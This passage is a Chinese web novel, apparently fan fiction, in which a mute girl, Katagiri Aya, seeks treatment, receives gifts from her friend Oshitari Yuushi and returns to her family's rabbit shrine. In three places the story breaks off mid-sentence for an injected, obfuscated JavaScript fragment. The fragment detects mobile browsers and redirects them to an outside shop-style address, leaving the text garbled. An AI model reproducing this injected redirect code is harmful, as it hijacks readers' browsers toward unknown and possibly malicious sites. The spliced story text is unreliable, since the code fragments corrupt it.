不能说话真是一件麻烦的事情。 片桐彩沮丧地放下纸杯电话,慢吞吞地挪下楼,趴在父亲身边。 片桐纪久正陪着小狗骑士做室内游戏,见女儿这样无精打采的模样不免有些担心:“小彩,怎么了?” 小彩把脸埋在抱枕里,摇摇头没有回话。 片桐纪久把骑士抱到她手边,把她的手摁到它柔软的毛毛上,带着她摸了几下。 在顺滑的手感中,她原本有些躁动难捱的心慢慢平静下来。 小彩搂着抱枕,忐忑地从抱枕后露出一双眼睛:‘爸爸,我……’ 不知道是出于什么原因,她莫名觉得有些羞耻。 因为她说不出话这件事,爸爸带着她去看了好多好多医生。 她知道爸爸很着急,但她每次都坚决地抵触医生的接近,不想开口。 可爸爸从来都没有怪过她。 不想说话就不说,不想做的事情爸爸也不会强硬地要求她去做。 她是愧疚的,却总也没办法从那些铺天盖地的阴影里走出来。 她讨厌看医生,爸爸也没再带她去看过那些医生——她浪费了爸爸的心意。 这个时候她突然说自己想要说话,想要去看医生,爸爸会不高兴吗? 片桐纪久不明所以,却也没有催促她,只是这么温柔又耐心地看着她,等待她开口。 爸爸是爱她的。 她又不是第一天知道这件事情。 小彩心里突然生出了无限的勇气,她磕磕绊绊地比划道:‘我想说话,可是我说不出来……’ ‘爸爸,你可以带我去看医生吗?’ 她比划的速度不快,一个词一个词地比划着,叫人很容易就看出她的意思。 片桐纪久没想到女儿会和他“说”这样说的话。 他甚至以为是自己看错了。 他不是个称职的父亲,正是因为他的失职,女儿才会封闭自己的内心,拒绝和人交流。 他原本都做好了她会很久很久,甚至一辈子不说话的准备,只要她快乐,只要她觉得轻松自在就好。 可她突然说,她想要说话。 片桐纪久的眼泪瞬间就落了下来,他别过脸,悄悄擦拭着自己湿润的眼眶,以最快的速度调整好自己的情绪,这才转回来面对女儿。 “当然可以,”他的眼睛在笑:“小彩想什么时候去都可以。” 小彩敏感地察觉到父亲的情绪,自己的情绪也跟着低落下来,水汽迅速在她的眼眶中氤氲:‘爸爸,对不起。’ 她垂着脑袋,不敢看他的眼睛。 “小彩,永远都不用和爸爸说对不起,”片桐纪久捧着女儿的脸,怜爱地用指腹蹭了蹭她红红的眼角:“你是我的女儿,我是你的爸爸,我们是家人,家人之间是该相互包容的。” “就像小彩能感觉到爸爸的情绪一样,爸爸也能感受到小彩的痛苦——这一切都不是出于小彩的本意,爸爸知道小彩是好孩子,无需感到愧疚。” “其他的东西都不重要,只要小彩开心就好,”片桐纪久眉目柔和:“那我们明天就去看医生怎么样?” 小彩抽抽噎噎地点点头,把脸埋进父亲的怀里。 17.第 17 章 重新尝试说话这件事情是急不来的。 虽然片桐彩也很想立刻就能像过去那样,很平常地开口,但她还是做不到。 她坐在“游戏室”里,看着父亲和总是带着她做游戏的阿姨谈话。 原来爸爸一直都在带她看病。 小彩盯着台面上花瓶里的小花,心情复杂。 她还挺喜欢来这里玩沙盘游戏的,带她做游戏的阿姨也很亲切,乍一得知这里是看病的地方,她不免觉得有些别扭。 不过一切都是为了她能更好更快地恢复,小彩非常配合,对于医生的问题也是有问必答。 医生阿姨因着这个也很高兴,还给了她一颗糖。 小彩含着糖,浓郁的奶香味在口中漾开,甜丝丝的,却又带了些许咸咸的味道,一点都不腻人。 好吃。 她晃着脚,好心情地眯了眯眼。 她想给侑士和谦也也带一份。 这个糖叫什么名字呢? 她把糖纸捏在手里,翻来覆去地看了好几遍,好像看懂了,又好像没看懂。 是外国字。 她原本以为糖纸上写的是英文,可展开以后才发现,那些字母上面总有些她弄不懂的小斜杠,好多单词她都不认识。 小彩沮丧地放下糖纸。 完蛋了,她是小文盲。 但是这个糖真的很好吃,她特别想带给自己的小伙伴尝尝。 小彩犹豫了一会儿,最终还是朝着正在谈话的两人那边走了过去。 丹泽医生一直都在关注着自己的小来访者,见她踌躇着往这边来,悄悄示意了一下片桐纪久,让他也关注一下自己的女儿。 片桐纪久会意,也跟着用余光悄悄观察着片桐彩。 小女孩磨磨蹭蹭地挪到两人身边,两人随即停下了谈话,面色如常地望向她。 片桐纪久问道:“小彩,怎么了?” 小彩瞥了一眼爸爸,小手捏得紧紧的。 她像是为自己打气一般深深吸了一口气,小脸红扑扑的,对着丹泽医生比划道:‘医生阿姨,请问这个糖你是在哪里买的呀?可以告诉我吗?’ 丹泽医生笑眯眯地望着自己的小来访者:“很抱歉,这个糖是朋友从FRA带给我的,我也不知道是在哪里买的呢。” 小女孩明显有些失望,比了一个“谢谢答复”的手势,垂着脑袋贴在爸爸身边不再动弹了。 “不过我可以再多给小彩几颗,”丹泽医生打开抽屉,把装着糖果的盒子取出来,放在小女孩面前:“小彩自己取吧?不过取完要对我说‘谢谢’才行哦——‘谢、谢’,很简单吧?” 片桐彩犹豫了。 这种糖医生阿姨也不知道是在哪里买的,还是产自国外,就算爸爸帮她买到也需要一点时间才能送回来。 可她很想今天就把这种糖果分享给她的朋友们。 她今天很高兴,分享又是快乐的事情,她想要这种快乐的感觉在今天继续延续下去。 但是…… 说话什么的,对她来说还是太难了。 丹泽医生观察着她的神色,没有再多说什么。 她只是把糖果盒放在桌上,柔声说了句“小彩离开前都可以来取”后就不再看她。 片桐彩盯着桌上的糖果盒,心中莫名有些焦躁。 糖果盒色彩亮眼,各种颜色拼接在一起,她凝视着那些绚丽的颜色,总觉得它们下一秒就要融合在一起。 玫红色和淡黄色以1:10的比例调和是糖果盒上丝带的颜色,以3:5的比例调和就是糖果盒侧边小花的颜色…… 无数稀奇古怪的思绪皆在此刻铺开,宛如不懂事的浪潮,在她的脑子里起起伏伏。 糖果,为什么一定要今天就带回去给小伙伴呢? 爸爸能看懂很多语言,糖纸上的文字他绝对能看懂,他也一定能给她买到,只是需要些时间而已。 对于她来说,她的爸爸是无所不能的,她想要什么,他都能给她找到,她从未怀疑过这一点。 只是需要一点时间而已。 为什么她这点时间都等不了呢? 这真奇怪。 片桐彩焦躁地在房间里来回踱步。 分享好像也不是那么叫她快乐的事情了。 片桐纪久一直关注着女儿的动作,见状也有些心急,立刻就想要去抱住女儿哄哄,却被丹泽医生拦下了。 “片桐先生,请稍等一会儿,”丹泽医生小声道:“以小彩现在的情况来看的话,如果她需要帮助,是会尝试来求助的——她和以前不一样了。” 闻言,片桐纪久才勉强按捺住自己,目光却始终跟随着女儿。 小彩当然没有注意到这些,她依然沉浸在自己焦灼的小世界里无法脱出。 她还是想要带给侑士和谦也。 这是好吃的、她喜欢的东西,她也希望自己的好朋友也能品尝到。 就像他们也总是给她带他们觉得味道很好的零食,和她分享一样。 这大概就是侑士说的那个……嗯……“鱼心”、“水心”什么的。 得到两颗糖果的代价很小,只需要支付一个单词。 不过短短几个音而已,说出来的话需要一秒吗? 小彩不知道。 她的心弦紧紧地绷着,一股凭空而出的火气在她胸中熊熊地烧灼着,浓重的烟气冲击着她的喉口,熏得她的喉咙发痒。 她别过脸,拢起左肩捂住口鼻,轻声咳嗽了几下,可喉咙的痒意不肯放过她,她的咳嗽愈来愈重。 撕心裂肺的咳嗽声惊到了片桐纪久,他再也忍不住,大步流星地跑到女儿身边,轻柔地给她顺着背。 “小彩,是呛到了吗?”片桐纪久拍着女儿的背,满目担忧:“要不要喝点水?爸爸给你倒点温水喝好不好?” 片桐彩依旧那样剧烈地咳嗽着。 她的脸因着咳嗽变得通红,眼里氤氲着水汽,很快水汽就聚在一起,硕大的泪珠从她眸中滚落,看着可怜极了。 她无力地摆摆手,示意父亲不用担心。 可片桐纪久怎么可能不担心? 他抱着女儿,心急如焚,却又无法做些什么,只好为她顺顺背,叫她能稍微好受一点。 小彩咳嗽了一阵,很快就恢复了平静。 她的肺部火辣辣的痛,喉咙也火辣辣的痛。 刚才咳嗽得有些重,她的脑子到现在都还在缺氧,看什么都感觉朦朦胧胧的,像是走在梦里一样。 片桐纪久稳当地抱着她,站起身来冲着丹泽医生点头致意:“丹泽医生,今天差不多结束了吧?小彩刚才咳嗽得那么厉害,我要带她去做个检查,就先回去了,下周再来拜访。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598674|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 丹泽医生也很担心小彩,连连点头。 她帮着整理好小彩带来的小挎包,又把他们往外送了送。 她怜爱地望着这位可爱的小来访者:“小彩,我们下个星期再见。” 小彩趴在爸爸背上,虚弱地点点头。 糖果…… 她沮丧地垂下眼皮。 下周的话,不知道医生阿姨还有没有这样的糖果了。 …… 片桐纪久生怕女儿出现什么问题,一刻也不敢耽搁。 他载着小彩来到这附近比较出名的儿科,小彩趴在车窗边,看着格外熟悉的建筑有些心慌。 ‘爸爸,我没有生病,’她皱着脸:‘我们回家吧。’ 片桐纪久担忧地望着女儿:“可是你刚才咳得那么厉害,爸爸不放心。” 他也不管女儿再比划些什么,抱着女儿就走进诊所。 “您好,请问您有预约吗?” 忍足万里子例行询问,她的目光在男人怀中的小孩身上扫过,没来由地觉得有些眼熟。 小孩不满地在男人怀里挣扎着,像极了一只撞在蜘蛛网上无法动弹的小虫。 片桐纪久蹙着眉,拍了拍女儿的背:“没有,请问现在可以看病吗?” 忍足万里子瞄了眼诊室那边的情况,估算了一下时间:“还需要等一会儿才行,孩子是哪里不好?” “刚才咳嗽得很厉害,不确定具体是怎么回事。” “好,等一下忍足医生看看就好了。” 大人们还在交流小彩的病情,小彩趴在父亲肩头,好奇地打量着诊所里的陈设。 她昨天来的时候没太注意,今天再看,诊所里的陈设都很有童趣。 墙上的彩绘是小孩子们喜欢的类型,颜色轻快明亮;桌椅柜子的边角都用厚厚的海绵包裹住,书架上放了好多小孩子喜欢的漫画。 小彩往放着书架的小角落望去,一颗熟悉的脑袋出现在她眼前。 似乎是察觉到有人在看他,那颗脑袋的主人抬起头,目光直直地冲着这边射来。 也不知是怎么了,小彩莫名觉得有些别扭,在他的目光快要扫到她的时候,猛地把脸埋进父亲的肩窝里。 “啊!小彩!” 那边传来了一声小小的惊呼,紧跟着就是一阵密集的脚步声,由远及近地来到她身边。 她外套的袖子被轻轻拉了拉,忍足谦也的声音在她耳边响起:“小彩,你怎么来了?是哪里不舒服吗?” 小伙伴对她很是关心,嘁嘁喳喳个不停,见她不回应,还以为她是难受得狠了,便也不再吵闹。 他在口袋里掏来掏去,掏出了一颗糖塞进她的手里。 “吃颗糖会不会好受一点?”忍足谦也担心地絮叨着:“这种糖很好吃,是昨晚妈妈给我的,我给你和侑士都留了一颗……” 糖纸在她手心“喀拉喀拉”地响着,她无端有些心烦。 眼前的视线渐渐模糊,不多时,一颗带着些热意的泪珠在片桐纪久的衬衫上洇开。 小彩抽抽搭搭地抬起脸,从父亲怀里挣扎着下去。 在谦也担忧的目光中,她委委屈屈地抱住了自己的好朋友。 她呜呜地哭着,这是自他们相遇以来、第一次从她喉中溢出的声响。 她没能给朋友带一块她觉得好吃的糖。 18.第 18 章 忍足谦也手足无措地揽着小伙伴,不明白她为什么突然哭了。 这还是他第一次看到小彩哭。 不过这种状态也没持续太久,忍足宗也那边的问诊结束了,忍足万里子带着抽抽噎噎的小彩和小彩爸爸,一道进去做检查。 他担心地趴在门边朝里望去,得知小伙伴并未生病才稍稍松了口气。 片桐纪久也不明白女儿为什么突然这么伤心,可不论他怎么问询,小彩都不肯予以回应,他也被弄得有些心焦,只好带着她先回家。 忍足谦也望着远去的车尾灯,眉间的皱褶怎么也散不开。 …… 片桐彩也不知道自己为什么这么难过。 她不懂得自己的情绪从何而来,呆呆地抓着胸前的安全带。 车窗外的景物匀速后退,行道树的树叶随着风声轻轻摇晃,招展的树枝袅娜地冲着她招手。 她不认得那是什么树,粉紫色的树花轻飘飘地从窗户的缝隙中钻了进来,落到她的腿上。 大树在给她送礼物。 是在安慰她吗? 小彩盯着安然躺在自己腿上的粉紫色花瓣,好一会儿她才冲着它伸手,想要捻起它。 只是她的身体今天格外想要和她作对,她抽噎着打了个颤,花瓣便晃晃悠悠地落了下去,也不知道最终会落在哪里。 她再抬头望向窗外,那些缀着粉紫色花朵的树已经不见了。 她瘪了瘪嘴,又想哭了。 她想要花。 可是这里哪儿还有花呢? 车子慢慢驶入住宅区,附近只剩下些常青的绿化树,连一片花瓣的影子都见不到。 小彩委屈极了,她哭丧着脸,浓密的睫毛再次被盈满眼眶的泪水打湿,可怜巴巴地黏在一起。 “小彩,我们到家了,”片桐纪久停好车,动作轻柔地给女儿解开安全带:“先回家休息一下,好不好?” 片桐彩盯着落在地毯上的那片粉紫色花瓣,久久不动身。 片桐纪久随着女儿的视线望去,也注意到了这片花瓣。 他小心地捏起它,把它放到女儿手里。 “小彩,给,你是想要这个对吗?” 片桐彩没点头也没摇头,只是怔怔地盯着它,没有动弹。 片桐纪久一时间也看不出女儿的想法,纵使心中焦急,却也不敢再多做什么。 他总是不明白女儿在想什么,他怕他哪一步做错了,反而弄巧成拙。 倏地,小彩突然动了。 她不要父亲的搀扶,自己跳下了车。 片桐纪久正想去开门,却发现女儿根本就没有要往家里去的意思。 她背着自己的小挎包,飞快地往隔壁人家的院子跑去。 片桐纪久赶忙跟上她,随着她来到忍足家的门前。 小彩踮着脚,伸手去够门铃的按钮,只是她个子实在是有点矮,不论怎么努力都碰不到。 虽然在临近饭点的时间打扰邻居不太好,但片桐纪久并未犹豫,一把把女儿抱了起来,叫她方便摁下按钮。 “叮咚——叮咚——” 门铃的音色显然是被精心挑选过的,很是悦耳,可此刻小彩并没有欣赏它的心思。 她目光殷切,紧紧地盯着这扇门。 黑胡桃木的雀眼纹零零散散地在门上散开,她在院门口看到的时候,总感觉像是在看傍晚摇曳的海面,可这会儿离得近些看,又好像没有那个意思了。 一道温婉的女声从门内传来:“抱歉让您久等了,请问您是……?” 片桐纪久有些不好意思,毕竟他们没有预约就来打扰别人不太礼貌。 他局促地举起怀里的女儿:“那个……我们是隔壁片桐家的,是我的女儿,她突然跑过来,我猜她可能是想找侑士……打扰你们了,抱歉。” 忍足和美的目光在小女孩脸上停留了许久,迟迟不肯移走,她温和地笑道:“没关系,不过小侑发热还没好,要是传染给小彩就糟糕了。” 她忍了忍,最终还是没能按捺住自己蠢蠢欲动的手,摸了摸小彩软乎乎的脸颊:“小彩,等小侑好起来了再一起玩好不好呀?有什么想要和小侑说的话吗?阿姨给你带话。” 片桐彩乖巧地点点头。 她当然知道侑士还在病中,她只是突然很想见侑士。 她素来都是这样,想做什么就做什么,今天来敲门也是临时起意。 她拍拍爸爸的肩膀,示意他放她下来,又从挎包里掏出小画册,捏着彩笔写写画画好一阵,才把那一张纸取下。 她把自己写给侑士的信仔仔细细地叠好,又把那片花瓣塞了进去,一并交给忍足和美。 ‘这是给侑士的,谢谢阿姨。’ 忍足和美蹲下身,轻轻搂了搂她,“我会好好交给小侑的,小彩放心好啦。” 片桐纪久又尴尬地和忍足和美寒暄了几句,抱起小彩准备带着她离开。 一开始她还乖乖巧巧地趴在他的肩上,可才走出去没两步,她就像一只小毛虫一样在他肩头蛄蛹起来。 小彩激动地拍拍父亲的肩膀,挣扎着从他怀里下来,还没等片桐纪久反应过来,她就又跑回了忍足家的门前。 他抬眼一看,一个穿着睡衣的藏蓝色头发的小男孩站在门口。 他用口罩掩着口鼻,抑制不住地轻咳,一双眼睛沉静无波,就这样静静地站在门口望着他们。 果然是忍足侑士那小子。 片桐纪久莫名有些不爽。 可看到这孩子生着病虚弱的样子,心里又有些不是滋味。 他最看不得人生病了。 他从他脸上移开目光,把视线投向自己可爱的女儿,可女儿的举动更加让他没眼看。 小彩站在侑士身边,大约是被他要求要保持安全距离,离他有三步远。 她围着他转来转去的,就像小狗骑士围着她转来转去一样。 忍足侑士的目光在她湿润的眼眶周围打着转,他眉心微蹙,语气笃定极了:“小彩,你哭过了。” 片桐彩摸了摸自己的眼睛,她确实哭过,睫毛到现在还是湿漉漉的,弄得她的手也沾上了些潮气。 他下意识想要抬起手给她擦擦脸,最终却只是动了动手指,手依旧贴着身侧的衣料:“发生什么事情了吗?为什么哭?” 小彩茫然地皱起脸,她也不知道。 她也不明白自己究竟是为什么哭。 是因为没能得到的那两颗糖果,还是因为当时没能接住那片花瓣? 她懵懵懂懂地想着,想了好一会儿也没能想出答案。 忍足侑士似乎并不是一定要得到一个答案,他终于把自己背着的那只手从身后移到小伙伴面前,交给她一只精致的纸袋。 “本来昨天就该给你的,可是昨天忘记了,”他的声音压在口罩里,听起来有些闷:“等我好起来了再去找你玩。” 他犹豫了一下,又道:“你可以写纸条给我,就像之前那样,如果我没有在休息的话,会把窗户开着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607404|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——写什么都可以。” 小彩接过纸袋,重重地点点头。 她喜欢听侑士说话,和他待在一块儿,她的情绪总是会平静许多。 忍足侑士避开花枝上的刺,折了一朵淡粉色的月季花给她。 “好了,回去好好休息一下,”他抑制不住喉间的痒意,轻咳了几声:“不要再哭了,眼睛会肿的。” 片桐彩捏着那朵月季花,一步三回头地离开了。 忍足和美俯下身,似乎和儿子说了些什么,他从她手中抽出那个叠得整整齐齐的信封,消失在半开的那扇门里。 …… 片桐彩回到家后,立刻去洗漱台前洗了把脸,情绪似乎也好转许多,这倒叫片桐纪久松了口气。 他问过女儿中午想要吃什么以后,就在厨房里忙活起来。 小狗骑士紧紧地跟在小彩身边,摇头摆尾的活泼样子叫她忍不住搂住它挼了好一会儿。 蓬松柔软的毛毛总是能让人心情变好,她带着小狗骑士回到了自己的房间。 她攥着那朵淡粉色的月季花,目光在房间里睃巡了一阵,终于在架子上找到了一个漂亮的小瓶子。 她小心翼翼地在瓶子里倒了些水,又小心地把花枝塞进去。 小狗骑士凑过来嗅了嗅,打了个小小的喷嚏,它的尾巴欢快地晃着,似乎心情很好的样子。 小彩的心情也很好,她对着安置好的小花瓶拍拍手,转头又翻看起那只精致的小纸袋。 她很好奇侑士给她带了什么样的伴手礼,纸袋在她手中缓缓展开,发出“哗哗”的响声,骑士似乎也很期待,趴在她身边清脆地叫唤两下。 小彩把脸凑近纸袋口往里看了看,伸手从里面掏出一盒糖果,再掏一掏,又掏出一枚可爱的卡通发夹。 糖果是地区限定的口味,是她前些天说过想要尝一尝的那种。 她盯着锖色的糖纸看了一会儿,捻起一颗拆开放进嘴里。 清爽的热带水果味在口腔中弥漫,片桐彩愉悦地举起那枚发夹。 这是地区限定的《小羊警卫队》发夹周边,必须要按照规定路线集章抽奖才能获得,是活动的三奖。 她似乎想到了什么,连忙又在纸袋里掏了掏,果然掏出一张《小羊警卫队》的光栅贴纸。 贴纸上的小羊随着她的动作变换着表情,一会儿面无表情一会儿笑眯眯的,看着可爱极了。 她拿起纸袋,准备找个地方妥帖地放好,小狗骑士却突然扑了过来,把她又撞倒在柔软的地毯上,纸袋也随之倾倒。 “哗——” 一堆光栅贴纸从纸袋里散落出来,小彩一张一张地捡起。 她一边捡一边数,算上她刚才拿出来的一共有八张。 八个参与奖,一个三奖,侑士是不是运气不太好呢? 她抱着纸袋,一时之间也说不上心情的好坏。 参与一次集章,按照路线走下来需要二十分钟左右,侑士参与了九次,那就是九个二十分钟。 九个二十分钟是多久呢? 小彩不会算。 但是她知道差不多是她看九集《小羊警卫队》那么久。 她从来没有一口气看过九集《小羊警卫队》——爸爸和姑姑不让,所以她也不知道那究竟是多久。 侑士真好。 小彩的嘴角往下撇了撇,胸腔里热乎乎的,像是在冬天最冷的时候吃了一只热烘烘的烤红薯,暖意从心口蒸腾到眼眶。 她好像又想哭了。 19.第 19 章 “小彩,醒一醒,我们到家了。” 脸上痒痒的。 片桐彩迷迷糊糊地伸手抹了一下,一把把那只在她脸上作乱的手抹去。 到家了啊…… 爸爸前两天说要回老家看妈妈和奶奶,今天早上出发的时候爸爸好像有叫过她。 她艰难地睁开眼,姑姑的脸出现在她眼前,她眨巴眨巴眼,又闭上了眼睛。 片桐沙友理被小侄女可爱到了,她心软软地抱起睡得迷糊的小侄女,带着她走进檐廊。 小彩在沙友理香香的怀里蹭了蹭,终于把脸抬起来,眼睛也睁开了。 眼前熟悉的木质檐廊叫她完全清醒了过来,她兴奋地拍拍沙友理的手臂,眼睛一眨不眨地黏在一旁的移门上。 沙友理笑着把她放下。 脚才刚刚踩到地面上,片桐彩就兴奋地扑到移门旁,指着移门上画着的各式各样的图画给姑姑看。 这些都是她的杰作。 奶奶喜欢,妈妈也喜欢。 这是她的家,有妈妈、也有奶奶的家。 小彩在檐廊里活泼地跑来跑去,从这一头跑到那一头,“噔噔”的脚步声响彻整座檐廊。 “唰——” 移门缓缓被拉开,一位慈祥的鹤发老人从里面走了出来。 她面色红润,身体健朗,脸上带着盈盈的笑意。 “小彩回来了?来给奶奶看看,有没有长高。” 片桐彩见到她,兴高采烈地扑进她的怀里要抱抱。 片桐秀子笑眯眯地抱起她掂了掂:“嚯,小彩真是长大了,长高了,也壮实了。” 片桐沙友理在一旁看着,偷偷地掩唇笑:“你这么说,小彩尾巴都要翘到天上去了,她可盼着自己长高呢。” 小彩亲热地贴着奶奶,抱着她的脸“吧唧吧唧”地亲了好几口,糊了她一脸口水。 片桐秀子也不恼,抱着小彩贴了贴她的小脸。 她望向二女儿,眉目中满含温柔:“进来坐吧,你姐夫呢?” “他啊,还是老样子,”片桐沙友理的视线投往院子后方的位置,叹了口气:“等他回来了我再去看姐姐,他应该有挺多话想要和姐姐说的。” 提起片桐英利香,气氛倏地沉闷下来。 片桐彩也没有再闹,乖巧地趴在奶奶的肩上不动弹了。 她知道奶奶和姑姑都想妈妈了。 她也想的。 片桐秀子摸摸孙女的脸,率先转移了话题:“小彩要不要吃曲奇啊?你最喜欢的沙丘曲奇,还有你喜欢的白兔和菓子……” 不待小彩回答,她便抱着小彩进了房间,从抽屉里找出一大堆零食放到小几上。 小彩在零食堆里挑挑拣拣,最终还是选择先吃一个梨肉果冻解解渴。 梨肉果冻里的梨用的是鸟取当地的二十世纪梨,甜甜的,带有一点点的酸,汁水很丰沛,小彩特别喜欢。 她盯着桌上剩余的果冻看了一会儿,对着奶奶比划比划:‘奶奶,我想买手信。’ “手信?”片桐秀子想到二女儿说,最近孙女交到了两个好朋友,大概明白了她的意图:“是要给你的好朋友带吗?” ‘嗯,’小彩重重地点头:‘还有他们的爸爸妈妈姐姐弟弟。’ “小彩先在神社挑一些吧,”片桐秀子笑眯眯地揉了揉孙女的小脸,“明天奶奶再带你去特产店看看。” 小彩的眼睛弯成了一双月牙。 她抱抱奶奶,被梨肉果冻染得甜滋滋的嘴巴“吧唧”在片桐秀子的脸上亲了一口,弄得她的脸上黏糊糊的,不得不找了块手帕擦擦。 “那小彩在这里玩,奶奶还要去前面看着点那些新来的孩子,免得她们出了差错。” 小彩乖巧地点点头。 片桐秀子站起身来。 日光撇过檐廊穿进门内,耀眼的光芒被移门挡去几分,柔和地打在孙女的脸上。 有那么一瞬间,她以为是英利香回来了,可也只是那么一瞬,她就反应过来,那不是她可怜的英利香。 小彩似乎对于她的愣怔有些困惑,歪着脑袋望着她。 片桐秀子勾起唇,对着孙女笑了笑,只是笑意里多了几分勉强与哀伤。 她伸手把自己的衣摆整理整齐,便庄严肃穆地走了出去。 离开这间屋子,她就不是慈祥的祖母,也不是思念女儿的母亲,只是这座神社的宫司了。 …… 姑姑和奶奶都不在,爸爸也不在,小彩倒是一点也没觉得害怕。 她自小在这座神社长大,对于神社的每一处都了如指掌,甚至比在这里供职的神职人员都要熟悉得多。 她吃了几片曲奇饼,核桃的酥香在她口中久久未散,她舔了舔唇,恋恋不舍地看了几眼桌上还未动过的零食。 吃不下了。 消消食去吧。 片桐彩扶着小几站起来,穿好鞋便跳下檐廊,往前院走去。 她方才待着的地方是神社的后院,离前院稍微有些距离,顺着青石板路一路往下走,看到第一个蹲坐着的兔子雕像的时候,前院就到了。 小彩兴冲冲地跑到兔子雕像跟前,摸了摸它的脸颊。 片桐家神社的主祭神是大兔大明神,也就是霓虹神话里的那只“因幡之白兔”,因而神社里到处都是兔子的塑像。 小彩是在兔子的包围中长大的。 大家都说她的白发是大兔大明神喜爱她,赐予她的礼物,可离了神社以后,这件礼物却成了一种负累。 小彩也曾求过大兔大明神,希望大兔大明神能够收回这件礼物,可惜失败了。 不过她和大兔大明神说过话,就在这里。 大兔大明神的声音很可爱,像小孩子一样。 祂甚至还给了她几颗甜蜜的糖。 只不过后来无论她来和大兔大明神说多少次话,大兔大明神都再没给过她回应。 再后来她就不能说话了。 小彩一边摸着兔子雕像的耳朵,一边在心里默默地念道:‘兔子神,兔子神,我什么时候才能开口说话呢?’ 她等候了一会儿,照旧没能等来大兔大明神的回应,不由得有些失望。 不过她很快就调整好心态,毕竟神明也是很忙的,不可能成天围着她一个“信徒”转。 要是她继承奶奶的衣钵,成为神社的宫司的话,是不是就能经常和大兔大明神说话了呢? 小彩眨巴眨巴眼睛,脑袋里奇奇怪怪的想法悄悄地发了芽。 她并未在这个问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624088|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上纠结太久,她到底是个小孩子,小孩子都爱玩,前院叮叮咚咚的声响吸引了她的注意。 她提起裙摆,迅速沿着青石板路往坡下跑去。 鞋跟踩在地板上“笃笃”作响,与前院的音声一唱一和,听起来倒也不难听。 片桐彩穿过鸟居,一蹦一跳地来到神社的一座屋子门前,在门口悄悄往里探了探头。 神社里似乎正在举行什么仪式,她盯着门内舞乐的人看了一会儿,是祈福仪式。 她才扒着门看了没两分钟,就被一双柔软的手抱了起来。 小彩被这突然袭来的触感吓得背都僵住了,一点儿也不敢动弹。 “小朋友,你怎么跑到这里来了?”穿着巫女服的年轻女人柔声问道:“是和家人走散了吗?” 片桐彩连连摇头,‘我就住在这里呀,这是我家,我听到这里有声音就过来看看。’ 年轻的巫女看不懂手语,却也明白了她大概是不会说话,她抱着她就往外面走,一面走还一面絮叨着说“一定会帮她找到爸爸妈妈”之类的话,熟练得叫人心疼。 最近正值暑假,来这里游玩的游客很多,每天都会有调皮的孩子到处乱跑找不到父母,巫女大概是把她也当成那些调皮蛋中的一个了。 小彩沉着地捧着脸,小大人般叹了口气,她不再挣扎,就这么被巫女端了出去。 她被巫女摁在临时用办公室改成的儿童走失中心里坐下,又在巫女的监督下写下自己的姓名、年龄、爸爸妈妈的名字,这才得到了片刻的安宁。 她刚想悄悄从门里挤出去,就被一双大手夹着她的腋下举了起来。 “哎呀,这不是我们的小彩吗?你回来啦?” 如洪钟一般中气十足的声音在她耳边炸开,小彩捂住耳朵,苦着脸委屈巴巴地望向这个中年大叔。 “噢噢,伯伯声音小一点,”日永千彰压了压嗓子,“小彩怎么跑到这里来了?在自己家里也会走失啊哈哈哈哈哈哈。” 小彩伸手比了一个大大的叉,一脸控诉:‘我是被一个姐姐抱来的,没有迷路。’ “嗐,那是新来的巫女,不认得你,”日永千彰顺顺她的头发,“伯伯带你出去逛一下?刚好还能叫那些新来的孩子们认认脸,免得你又被送过来了。” 小彩点点头,算是答应了。 日永千彰抱着她往外走,他的个子很高,小彩坐在他的臂弯里,视野范围也变广了,神社里的每一处陈设尽收眼底。 虽说鸟取旅游业在四十七个都道府县排名倒数,但也不是完全没人来旅游。 片桐家的神社在这里倒也算是排得上名号的旅游景点,再加上大兔大明神缘结神.的名号,每逢节庆假日,这里还是挺热闹的。 赛钱箱前等着参拜的人大排长龙,抽签处也有不少人簇在一起,从他们的面部表情就可以看出他们签运的好坏。 巫女贩售的御守也很受欢迎,尤其是神社特色的兔形御守,小彩看见好多人手里都有。 据说她家神社的御守很灵验,既能保佑平安也能加深人与人之间的缘分。 加深缘分哦…… 她盯着那堆御守看了一会儿,扯了几下日永千彰的衣袖。 ‘日永伯伯,我想要那个——要两个。’ 20.第 20 章 ‘日永伯伯,我想要那个——要两个。’ 日永千彰顺着她手指的方向望去,一眼就看到了那个正在贩售御守的小车。 对于自己看着长大的、当子侄看待的小孩,他自然是有求必应。 小姑娘只是想要两个御守而已,又不是要天上的星星月亮,日永千彰托着片桐彩来到小车前,任由她挑选。 “小彩想要哪种样式的?”他柔声问道:“是要这个兔子的还是要那个花型的?” 小彩从小车上选了两个兔形御守:‘我想要这两个,可以吗?’ “当然可以,这有什么不可以的?” 